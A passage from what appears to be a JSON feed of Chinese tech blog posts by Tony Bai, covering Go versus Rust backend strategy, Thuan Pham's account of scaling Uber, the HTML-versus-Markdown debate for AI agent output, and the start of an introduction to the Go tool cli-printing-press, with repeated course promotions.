Wall）”。\n当撞墙的那一刻，老板问你的问题，将不再是：“我们最快多久能把这个功能做出来？”\n而是变成了极其致命的灵魂拷问：\n“我们如何在不拖慢业务团队开发速度的前提下，让这个庞大的系统保持稳定、高效，并且把那该死的云账单降下来？”\n正是在这堵墙面前，Go 和 Rust 的选择，才真正具有了生死攸关的意义。\nGo 的主场：敏捷与编排的绝对王者 在跨越“那堵墙”之前的大部分时间里，以及在墙外 80% 的业务场景中，Go 语言是毫无争议的默认王者。\n为什么？因为现代的后端架构，本质上不再是写一个庞大的单体应用，而是在做**“服务编排（Orchestration）”**。\n你需要一个 API 网关来接收请求，需要一个个微服务去读写数据库（RDS），需要 Worker 去消费消息队列（Kafka），还需要后台的定时任务去跑批处理。\n这些错综复杂的分布式场景，对语言的要求出奇的一致：\n启动要极快：为了适应容器和 Serverless（Lambda）的弹性伸缩。 并发要极简：遇到高并发？随手 go func() 就能轻松应对 SQS 消费和扇出（Fan-out）模型。 心智负担要极低：代码必须像白开水一样直白。今天刚入职的应届生，明天就能看懂并修改跑了三年的核心代码。 Go 语言完美地满足了这一切。它的设计哲学就是：“天下武功，唯快不破；保持简单，拒绝炫技。”\n在 Go 的世界里，开发者的个人时间，永远比 CPU 的计算时间更昂贵。它用“相对够用”的性能，换取了团队极高的迭代速度和代码的一致性。\n这就是为什么，Go 语言统治了业务服务的“编排层（Orchestration Layer）”。\nRust 的拔剑：在深水区里，手撕性能瓶颈 然而，当你的系统撞上“那堵墙”，当系统中某些特定的组件，变成了吞噬资源的黑洞时，Go 语言的 GC（垃圾回收）和相对粗放的内存管理，就会显得力不从心。\n这个时候，就是 Rust 拔剑出鞘的时刻。\nRust 不适合用来写那些三天两头变需求的业务 CRUD 接口，它真正的主战场，是系统里那些承担**“重体力劳动（Heavy-lifting components）”**的深水区：\n高吞吐量的消息处理器：比如每天要吞吐数百亿条记录的 Kafka 消费者集群。 实时流处理和欺诈检测引擎：在这些场景下，哪怕是几十毫秒的 GC 停顿，都会导致不可估量的经济损失。 成本敏感的边缘计算（Edge Compute）：在资源极其受限的环境中榨干最后一滴 CPU 性能。 在这些领域，Rust 的设计哲学展现出了降维打击般的威力：“控制所有重要的事情。”\nRust 假设：线上的 Bug 是极其昂贵的；规模化后的性能低下是致命的。因此，它用极其严苛的编译器，强迫你在写代码的阶段就解决掉所有可能的内存泄漏和并发竞争。\n它没有 GC，内存效率极高。在 CPU 密集型的任务中，它通常比 Go 快 2 到 5 倍。\n终极兵法：双剑合璧的实战演练 聪明的架构师早就看透了：我们不需要在 Go 和 Rust 之间二选一，我们需要的是将它们各自部署在正确的战线上。\n在真实的硅谷大厂和独角兽公司中，最经典的架构模式已经浮出水面：\nPattern 1：用 Go 写服务层，用 Rust 写热点路径（Hot Path）\n让 Go 去处理绝大多数的 API 路由、微服务间通信和业务编排。这保证了团队的开发速度。 一旦监控发现某个模块成了 CPU 或内存的瓶颈（比如音视频转码、核心推荐算法），立刻将其剥离，用 Rust 重写，作为一个独立的高性能微服务被 Go 调用。这种“好钢用在刀刃上”的策略，避免了过度工程化。 Pattern 2：为成本和延迟而战\n当你的 AWS ECS 集群因为某个 Go 写的聚合管道而不断扩容，云账单即将失控时；或者当你的金融系统要求绝对可预测的执行时间，不能容忍任何 GC 暂停时。 毫无犹豫地让 Rust 进场接管。它省下的机器成本，足以支付重写代码的代价。 小结：别为了追求“最好”，而忘记了“为什么出发” 最后，我想分享一下我最喜欢的一段话：\n“在这个世界上，你永远无法通过选择一门‘最好的语言’来赢得战争。”\n“你赢得战争的方式是：深刻理解你的系统会在哪里崩溃；知道哪种工具能精准地解决那个特定的问题；并且，只有在确实能带来巨大回报的地方，才引入复杂性。”\n如果你的系统还在为了活下去而疯狂堆功能，请闭上眼睛，用 Go 语言全力冲刺。\n如果你的系统已经庞大到每次发版都在流血，每多消耗 1MB 内存都在烧钱，那么，请翻开 Rust 的手册。\n用 Go 来构建你的商业帝国，用 Rust 来捍卫它的边界。\n这，才是 2026 年，一个成熟架构师应有的顶级大局观。\n资料链接：https://codestax.medium.com/rust-vs-go-the-only-backend-language-comparison-that-actually-matters-in-2026-6b8303dbb7c2\n今日互动探讨：\n在你的公司里，是否也遇到了系统“撞墙”的时刻？你们目前是如何解决性能瓶颈的？有没有考虑过，或者正在尝试引入 Rust 来重写核心的 Go 模块？\n欢迎在评论区分享你的实战经验与踩坑血泪史！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/11/go-vs-rust-backend-architecture-the-2026-strategy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-vs-rust-backend-architecture-the-2026-strategy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/11/go-vs-rust-backend-architecture-the-2026-strategy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/11/go-vs-rust-backend-architecture-the-2026-strategy\"\u003ehttps://tonybai.com/2026/05/11/go-vs-rust-backend-architecture-the-2026-strategy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你经常逛各大技术社区，你一定会发现一个永远充满火药味的话题：\u003cstrong\u003eGo 和 Rust，到底谁才是未来的后端霸主？\u003c/strong\u003e\u003c/p\u003e","title":"“用 Go 打天下，用 Rust 救火”：这才是 2026 年后端架构的唯一正解"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/10/scaling-uber-with-thuan-pham\n大家好，我是Tony Bai。\n在硅谷的黄金时代，曾有一家公司以一种近乎“暴力”的美学，重新定义了增长的速度。它的名字叫 Uber。\n在最癫狂的岁月里，它以“周”为单位攻占新的城市，用海量的资本和补贴点燃市场，其业务增长曲线陡峭得如同悬崖峭壁。\n但在这场增长的狂欢之下，是一套摇摇欲坠、濒临崩溃的技术系统。\n2013 年，当 Tuan Pham（后来被称为 Uber 的“救火队长”）加入时，这家拥有 40 名工程师的公司，系统每周都会崩溃数次。而他面临的第一个挑战，就是公司的核心派单系统，只剩下 5 个月的寿命。\n近日，这位传奇 CTO 接受了一次深度访谈。他不仅首次揭秘了当年与创始人 Travis Kalanick (以下称TK) 长达 30 小时的“魔鬼面试”，更详细复盘了 Uber 是如何在失控的边缘，被迫走上那条被全网群嘲、却又别无选择的 “5000 微服务” 之路。\n今天，就让我们跟随 Tuan 的视角，重返那个硝烟弥漫的战场。\n从船民到 MIT：一段关于生存的开端 Tuan Pham 的人生开局，堪称地狱模式。\n他出生于越南，是战争的亲历者。1975 年后，由于家庭背景，他和家人被迫成为“越南船民”，挤在破旧的渔船上，冒着不足 50% 的生还率，在深夜逃离故土。\n在海上漂泊了四天三夜，躲过风暴和海盗，他们最终在马来西亚登陆，却又被拖回大海，最终被印尼的一个荒岛收留。\n一年后，他们以难民身份来到美国。身无分文，不懂英语，第一套衣服来自教堂的捐赠衣橱。\n“生存”，是刻在他骨子里的第一性原理。\n和很多技术天才一样，Tuan 在数学上展现了过人的天赋。高中时，他靠着一台有两个软盘的 IBM PC 自学了编程，甚至用脚本语言帮政府机构把需要 3 周才能完成的财务对账工作，压缩到了 3 小时。\n凭借着优异的成绩和推荐信，他被 MIT 录取，正式开启了他的计算机科学之旅。\n血泪的教训：两场失败，塑造了 Uber 的基因 在加入 Uber 之前，Tuan 的职业生涯并非一帆风顺。但正是这些宝贵的“失败”，让他积累了足以驾驭 Uber 这头巨兽的认知。\n第一场失败，在 SGI（硅谷图形公司）。\n上世纪 90 年代，他参与了一个极其超前的项目——交互式电视。在那个连手机和互联网都还没普及的年代，他们已经实现了“视频点播、在线购物”。斯皮尔伯格、迈克尔·杰克逊都来参观过。但这个项目最终惨败，因为机顶盒的成本高达 4.5 万美元。这让他得到一条教训：光有伟大的技术没用，你必须在正确的时间、以正确的价格，出现在正确的市场。\n第二场失败，在 NetGravity（一家互联网广告公司）。\n他们发明了动态广告系统，并成功上市。但另一家比他们晚成立的公司，靠着更轻量的“广告服务（Ad Service）”模式，野蛮生长，最终被 Google 收购。而他们，因为董事会要求“优先盈利”，错失了市场。这让他得到了另外一条教训：当市场窗口期出现时，增长速度压倒一切，哪怕是以亏损为代价。\n这两条从真金白银和血泪中总结出的铁律，仿佛就是为日后的 Uber 量身定制的。\n30小时的“魔鬼面试”：与 TK 的灵魂拷问 离开 VMware 后，Tuan 并未主动寻找工作。是 Benchmark 的传奇投资人 Bill Gurley（也是 Uber 的早期投资人）找到了他。Bill Gurley 认识 Tuan，源于十几年前那家失败的广告公司。\nTuan 在访谈中反复强调一个观点：\n“我从不刻意经营人脉。你只需要把你手头的每一份工作做到极致，真诚地对待你身边的每一个人。随着时间推移，你的声誉会为你打开所有的大门。”\n当他见到 Uber 的创始人 Travis Kalanick (TK) 时，一场长达 30 小时、横跨两周的马拉松式面试开始了。\nTK 在白板上写下了密密麻麻的清单：从招聘开除、到代码质量、再到团队文化……他们每天 Skype 两小时，一个一个地辩论。\nTuan 回忆道，那根本不像面试，更像是两个合伙人在激烈地碰撞思想。有一次，聊到一半 TK 要赶飞机，他直接拿起电话让助理改签，然后继续辩论。\nT.K. 对技术细节的痴迷，和近乎偏执的激情，让 Tuan 意识到，这是一个将技术视为公司命脉的创始人。\n面试的最后，Tuan 发现，这 30 小时其实是一场**“模拟工作”**。TK 在用最高成本的方式，去观察当他们意见相左时，是否还能有效地沟通、并最终达成共识。\n微服务之殇：我们根本不想搞 5000 个微服务！ Tuan 加入 Uber 时，公司只有 40 个工程师，但系统每周都会宕机数次。整个后端是一个巨大的单体应用，派单系统是用单线程的 Node.js 写的。为了扩容，工程师们只能不断地把程序挪到 CPU 更快的机器上（垂直扩容）。\nTuan 问团队：“如果最快的 CPU 也扛不住了怎么办？”\n工程师说：“那就换一个有多颗 CPU 的机器。”\nTuan 再问：“那这些进程之间怎么共享状态？”\n团队沉默了。\nTuan 迅速算出，当时最大的城市纽约，将在 5 个月后彻底冲垮派单系统的物理上限。\n重写，是唯一的活路。\n他只提了两个要求：1. 一个城市必须能被多台机器支撑；2. 一台机器必须能支撑多个城市。 没有新功能，只要活下去。\n最终，团队在 8 月份惊险上线了新系统，暂时续上了命。\n但真正的噩梦，来自那个名为 API 的巨型单体应用。随着业务的爆炸式增长（UberX 上线、新城市扩张），这个单体应用成了所有团队的瓶颈。任何一个新功能，都可能要排队等好几个团队的开发资源。\n为了活下去，Tuan 和 TK 做出了那个后来被全行业“群嘲”的决定：\n“任何新功能，一律不许再往单体里加！必须作为独立的服务（Microservice）去开发。”\n同时，成立一个专门的团队，去把旧的单体应用一块块“拆骨”。\n这个拆骨项目，代号“达尔文（Darwin）”。Tuan 苦笑道，如果时间静止，这个项目 3-6 个月就能搞定。但他们花了整整两年。\n因为在他们拆解的同时，业务的增长速度比他们拆解的速度还要快！新功能被疯狂地加回到那个正在被拆的单体里。\n“当你把一块代码剥离出去后，剩下的部分因为业务增长，变得比你剥离出去的还要大。我们就像在追着自己的尾巴跑。”\n5000 个微服务，不是一个被精心设计出来的架构蓝图。它是在极端增长压力下，为了让几百个工程师能够并行开发、不互相阻塞，而被迫做出的“最不坏”的选择。\n这是 Uber 用每年几亿美元的服务器成本，换来的开发速度。\n中国速度：两个月，拿下中国市场 在 Uber 的历史上，最能体现这种“速度压倒一切”文化的，莫过于 2014 年底的“中国闪击战”。\n圣诞节前，TK 宣布：新年过后，Uber 要全面进军中国。他给了 Tuan 两个月的时间，在中国本土，从零开始搭建一套完整的、物理隔离的数据中心。\nTuan 的工程团队评估后，给出的最快时间是 6 个月。他在湾区的朋友们听说后，都嘲笑他疯了：“没有 18 个月根本不可能。”\nTK 不接受，最终两人“折中”到了 4 个月。\n4 个月后，项目延期了。TK 很不爽。\n5 个月后，项目再次延期。TK 暴怒。\nTuan 对 TK 承诺，再给一个月，但必须允许他们“分阶段上线”，而不是一次性点亮所有城市。\nTK 同意了，但提了一个极其苛刻的条件：第一个上线的，必须是当时业务量最大的城市——成都。\nTuan 在访谈中回忆道，这在当时看来简直是自杀，但事后回想，这是 TK 做出的最天才的决定。\n“当你把最硬的骨头啃下来之后，剩下的就全是下坡路了。整个团队的士气和信心都被拉满了。”\n最终，他们真的做到了。IT 团队在两周内完成了服务器的跨国部署，软件团队在无数个通宵后，让代码在中美两地同时跑了起来。\n没有人认为这能成功，但它就是成功了。 这就是 Uber 当时的魔力。\n小结：AI 时代的生存法则 在访谈的最后，Tuan 聊到了如今最火热的 AI 编程。\n他所在的新公司 FAIR，已经开始使用 Agent Swarm（智能体集群） 来辅助开发。他发现，顶级的工程师在使用 AI 后，产出能翻倍。\n当被问及“AI 时代，如何区分优秀与平庸的工程师”时，Tuan 的回答，与他在 Uber 血战时总结出的经验如出一辙：\n“好奇心、无畏、愿意尝试新事物、敢于打破常规。这些特质，在过去能让你脱颖而出，在今天，同样能让你成为驾驭 AI 的顶级玩家。平庸的人把 AI 当拐杖，而优秀的人把 AI 当作火箭推进器。”\n从越南船民到硅谷之巅，Tuan Pham 的一生，就是一部关于“在混乱中寻找秩序，在极限压力下野蛮生长”的史诗。\nUber 的故事或许不可复制，但它留给我们的思考，远未结束。\n在技术的世界里，从来没有完美的架构，只有与业务增长阶段相匹配的、充满妥协与权衡的草台班子。\n而我们作为工程师的终极使命，就是在这个草台班子上，用最快的速度，把它搭成别人眼中坚不可摧的罗马。\n今日互动探讨：\n看完 Uber 的故事，你觉得在你的公司里，是应该优先选择“技术正确”的完美架构，还是“能快速上线”的野路子？你对微服务和单体架构有什么切身体会？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将\u0026gt;带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/10/scaling-uber-with-thuan-pham/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/scaling-uber-with-thuan-pham-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/10/scaling-uber-with-thuan-pham\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/10/scaling-uber-with-thuan-pham\"\u003ehttps://tonybai.com/2026/05/10/scaling-uber-with-thuan-pham\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在硅谷的黄金时代，曾有一家公司以一种近乎“暴力”的美学，重新定义了增长的速度。它的名字叫 Uber。\u003c/p\u003e\n\u003cp\u003e在最癫狂的岁月里，它以“周”为单位攻占新的城市，用海量的资本和补贴点燃市场，其业务增长曲线陡峭得如同悬崖峭壁。\u003c/p\u003e","title":"对话 Uber 前 CTO：我如何用 5000 个微服务驯服这头失控的巨兽"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/09/anthropic-engineer-say-html-is-the-ultimate-language-for-ai\n大家好，我是Tony Bai。\n在这个大模型（LLM）席卷一切的时代，如果说有什么东西是全体程序员的“共识”，那绝对是 Markdown。\n无论是写 Prompt，定义 Agent Skill，还是阅读大模型吐出的漫长代码审查报告，Markdown 凭借其极简的纯文本特性，几乎成了人类与 AI 沟通的“普通话（Lingua Franca）”。\n但就在近日，这个牢不可破的共识，被大模型领域的绝对王者——Anthropic（Claude 的母公司）自己人给掀翻了。\nClaude Code 团队的核心工程师 Thariq，在 X (Twitter) 平台上抛出了一篇长文：《使用 Claude Code：HTML 不讲理的有效性（The Unreasonable Effectiveness of HTML）》。\n在这篇获得了上百万阅读量、上千次转发的神贴中，他毫不客气地宣称：\n“我已经彻底停止使用 Markdown 了。对于智能体（Agent）时代来说，HTML 才是更完美的通信格式。”\n这篇文章瞬间在技术圈引发了一场大地震。有人拍案叫绝，直呼“Game Changer（游戏规则改变者）”；也有人愤怒反驳，认为这简直是历史的倒车。\n今天，我们也来解读一下这场顶级社区的论战，看看为什么连最懂大模型的人，都要抛弃我们最爱的 Markdown？而在 AI 时代，我们又该如何重新定义“代码的可读性”？\n原罪暴露：当 Markdown 遇上“超级智能体” 一直以来，我们喜欢 Markdown，是因为它“简单”。\n在那个我们只让 AI 帮我们写两个小函数、查一个 Bug 的“手工作坊”时代，Markdown 是完美的。\n但现在的 Agent 变了。它们太强大了。\n正如 Thariq 在文章中指出的：\n“随着 Agent 变得越来越强大，我开始觉得 Markdown 变成了一种限制性格式。当我面对一个超过 100 行的 Markdown 文件时，阅读它变得极其困难。我想要更丰富的可视化、颜色、图表，我想要能够轻松地分享它们。”\n这精准地戳中了当前所有高级 AI 开发者的痛点：信息密度的坍塌。\n当你让 Agent 去审查一个包含 5 个文件、上百行改动的复杂 PR（Pull Request）时，如果用 Markdown 输出，你只会得到一面密密麻麻的“文本墙（Wall of text）”。\n你无法高亮关键的代码行，无法并排对比修改前后的差异，更无法画出一个交互式的调用链路图。\n在这个时候，Markdown 的“极简”，反而成了人类理解 AI 复杂输出的最大障碍。\n降维打击：HTML 的“不讲理有效性” 面对信息密度的瓶颈，Thariq 给出了一剂猛药：彻底转向 HTML。\n他惊奇地发现，现代的大模型（尤其是 Claude Sonnet 4.x 版本），在处理和生成 HTML 方面的能力，已经到了令人发指的地步。\n他总结了 HTML 在 AI 交互中的四大降维打击能力：\n1. 恐怖的“信息密度（Information Density）”\nHTML 不仅能表达简单的标题和格式，它还能通过 \u0026lt;svg\u0026gt; 直接内联生成精美的流程图，通过 CSS 生成带颜色的代码差异对比（Diff），甚至可以利用绝对定位（Canvas）来表达空间数据。\n“可以说，Claude 几乎没有什么是不能用 HTML 高效表示的。”\n2. 极佳的“视觉清晰度与可读性”\n当 AI 帮你完成了一个宏大的架构设计，与其看几百行的纯文本，不如让 Claude 直接生成一个带有选项卡（Tabs）、插图、侧边栏导航的完整 HTML 网页。\nThariq 提到：“在实践中，我发现自己几乎不会去读超过 100 行的 Markdown，我也绝对无法让组织里的其他人去读它。但 HTML 文档就容易阅读得多。”\n3. “双向交互（Two-way Interaction）”的魔法\n这是最让人拍案叫绝的一点！\n你可以让 Claude 生成一个带有滑块（Sliders）或按钮的 HTML 原型。你在浏览器里拖动滑块调整参数，觉得满意后，直接点击“复制为 JSON（Copy as JSON）”，然后再把这串参数喂回给 Claude Code 继续开发。\nUI 变成了你和 AI 之间最直观的“调试器”。\n4. 完美的分享体验\nMarkdown 极难分享，大多数人的浏览器直接打开是一片乱码。但 HTML，你只需要把它扔进 S3 或者发给同事，任何人在任何设备上双击就能看，甚至还能做响应式适配。\n实战演练：从“提示词写手”到“数字导演” 这套理论绝不仅仅停留在纸面上。评论区里，无数被点醒的开发者开始疯狂晒出他们的实战案例。\n重塑 Code Review：不再看黑底白字的文本，直接让 Claude 生成一个带有内联边距注释、按严重程度着色的精美 HTML 审查报告。 A/B 测试方案对比：不知道产品该用哪种设计？让 AI 生成一个包含 6 种不同方案的网格布局 HTML 页面，把所有的优缺点并排陈列在眼前，一目了然。 动态交互式报告：让 AI 去抓取 Git 提交历史、Slack 聊天记录，然后生成一份极度精美的周报网页，里面甚至包含了可交互的 SVG 图表。 正如一位开发者在评论中所说：\n“所以你的意思是，我不应该要求一个 ASCII 字符画的草图，而是应该直接要求一个 HTML 的设计模型？？我得去试试这个。用 Markdown 做计划，用 HTML 做设计。”\n社区撕裂：一场关于“认知负荷”的哲学博弈 当然，如此颠覆性的观点，必然会引发强烈的抵触。\n在推特的评论区，一场关于“效率 vs 消耗”的论战正在上演。\n反对派（Markdown 死忠党）的核心论点极其犀利：Token 成本与编辑摩擦。\n“HTML 在命令行里根本没法读，而且极其容易因为缺少闭合标签而崩溃。大多数 LLM 在长上下文中处理 HTML 会非常吃力。”\n“HTML 确实在视觉上提供了更高的信息密度。但为了这点视觉信号，你要多花 2-4 倍的 Token 成本！这让我感觉非常糟糕。”\n“Markdown 最大的优势是‘可编辑性’。如果我们不再亲手编辑文件，那么格式的选择就从‘什么最容易写’变成了‘什么最容易检查、微调并反馈给 Agent’。”\n这是一场深刻的哲学博弈。\nMarkdown 代表的是“以人类编写为中心”的过去；而 HTML 代表的，则是“以 AI 生成、人类消费为中心”的未来。\n当我们不再亲手敲击每一行代码，而是扮演“审查员”和“导演”的角色时，我们真的还需要在乎生成过程消耗了多少个\n\u0026lt;\ndiv\u0026gt; 标签吗？\n小结：工具的终局，是顺应生产关系 Thariq 的这篇文章，之所以能引发如此巨大的反响，是因为它极其敏锐地捕捉到了 AI 时代生产关系的变化。\n在过去，程序员是“工人”，我们需要 Markdown 这样轻巧的工具来减轻手腕的负担。\n在未来，程序员是“厂长”，我们需要 HTML 这样丰富的看板，来快速审阅成千上万个 AI Agent 提交的工作报告。\n“Markdown 适合思考（Planning），HTML 适合展示（Acting）。”\n或许，正如评论区的一位老哥半开玩笑的预言：“XML 才是最后的赢家。立帖为证。”\n在 AI 这个不知疲倦的“超级打字员”面前，所有曾经因为“太啰嗦”而被人类抛弃的富文本标记语言，都可能迎来一场轰轰烈烈的文艺复兴。\n资料链接：https://x.com/trq212/status/2052809885763747935\n今日互动探讨：\n在日常使用大模型时，你更倾向于让它输出极简的 Markdown，还是信息量爆炸但耗费 Token 的 HTML？你觉得在 AI 时代，“代码的可读性”定义是否已经被彻底改写了？\n欢迎在评论区分享你的实战心得！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/09/anthropic-engineer-say-html-is-the-ultimate-language-for-ai/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/anthropic-engineer-say-html-is-the-ultimate-language-for-ai-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/09/anthropic-engineer-say-html-is-the-ultimate-language-for-ai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/09/anthropic-engineer-say-html-is-the-ultimate-language-for-ai\"\u003ehttps://tonybai.com/2026/05/09/anthropic-engineer-say-html-is-the-ultimate-language-for-ai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个大模型（LLM）席卷一切的时代，如果说有什么东西是全体程序员的“共识”，那绝对是 \u003ca href=\"https://tonybai.com/2026/01/13/how-markdown-took-over-the-world\"\u003eMarkdown\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e无论是写 Prompt，定义 Agent Skill，还是阅读大模型吐出的漫长代码审查报告，Markdown 凭借其极简的纯文本特性，几乎成了人类与 AI 沟通的\u003ca href=\"https://tonybai.com/2026/01/13/how-markdown-took-over-the-world\"\u003e“普通话（Lingua Franca）”\u003c/a\u003e。\u003c/p\u003e","title":"Anthropic 工程师发文：别用 Markdown 了，HTML 才是 AI 的终极语言！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/09/cli-printing-press-intro\n大家好，我是Tony Bai。\n近日，一个名叫 cli-printing-press 的开源项目冲上了 X.com 热搜。它用 Go 写成，解决的是 AI Agent 时代最隐秘、也最致命的痛点——工具不够用，更不好用。\n先说一个反常识的故事 Discord 有 300 多个官方 API 端点。\n按常理，一个覆盖所有端点的 CLI 工具，应该是最好用的那个。但事实恰恰相反。\nOpenClaw 之父 Peter Steinberger 用 Go 写了一个叫 discrawl 的工具，只提供 11 个命令：sync、search、sql、tail、mentions、members……就这些。结果？700多 颗 GitHub Star，社区口口相传，被无数 AI Agent 开发者列为必装工具。\n为什么一个”阉割版”打败了”全功能版”？\n因为 Steinberger 看到了 Discord API 设计者自己都没意识到的东西：聊天记录不只是聊天，它是一个组织的知识库。\n每一条消息线程，本质上都是一份可以被归档、被索引、被本地全文搜索的文档。那 11 个命令，围绕的就是这个洞察。300 个端点包装器，做不到这一点。\nCLI Printing Press，就是一台把这种洞察自动化的“机器”。\nAI Agent 的”工具饥渴”时代 在聊这个工具之前，我们需要先理解 2026 年的 AI 开发现状。\nClaude Code、Codex、OpenClaw、Gemini CLI等 AI Agent 的能力已经突飞猛进。它们可以写代码、查数据、做分析、自主决策。但有一个瓶颈正在成为所有人的噩梦：现有的 CLI 工具，根本不是为 Agent 设计的。\n想象一下 Agent 在调用一个普通 CLI 时会遇到什么：\n输出格式不稳定，有时是表格，有时是纯文本，Agent 根本无法可靠地解析； 没有类型化退出码，出了错要去解析 stderr 的文字才能知道是认证失败还是网络超时； 每次查询都要远程 API 调用，一个复合问题需要十几次 round-trip，token 哗哗地烧； 遇到没有公开 API 文档的网站（比如 ESPN、Google Flights），完全束手无策。 CLI Printing Press 项目 README 开篇就把这个痛点说得很直白：“在 AI Agent 的世界里，没有什么比时间和金钱更宝贵——落到工程层面，就是速度和 token 消耗。一个设计优良的 CLI 是 Agent 的肌肉记忆：不用翻文档，不走弯路，不浪费 token。”\nCLI Printing Press，就是为了解决这个问题而生的。\n它到底是什么？ 用一句话描述：\nCLI Printing Press 是一台 CLI 工厂。给它一个 API 地址（或者任意一个网站），它输出一个专门为 AI Agent 设计的 Go CLI 工具 + MCP 服务器 + Claude Code Skill。\n安装方式极其简单（Go需要\u0026gt;=1.26版本）：\n# 安装工厂本体 go install github.com/mvanhorn/cli-printing-press/v4/cmd/printing-press@latest # 克隆技能文件（配合 Claude Code 使用） git clone https://github.com/mvanhorn/cli-printing-press.git # 在 Claude Code 中启动，直接加载skill claude --plugin-dir . 然后在 Claude Code 